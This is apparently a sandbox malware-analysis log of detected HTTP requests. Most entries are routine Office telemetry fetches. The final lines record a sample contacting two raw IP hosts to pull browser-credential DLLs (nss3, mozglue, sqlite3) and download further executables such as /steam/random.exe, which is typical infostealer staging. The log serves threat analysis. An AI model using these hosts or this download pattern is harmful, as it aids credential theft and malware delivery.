Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Tue, 12 Nov 2024 05:07:27 GMTIf-None-Match: "6732e28f-1bb600"
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
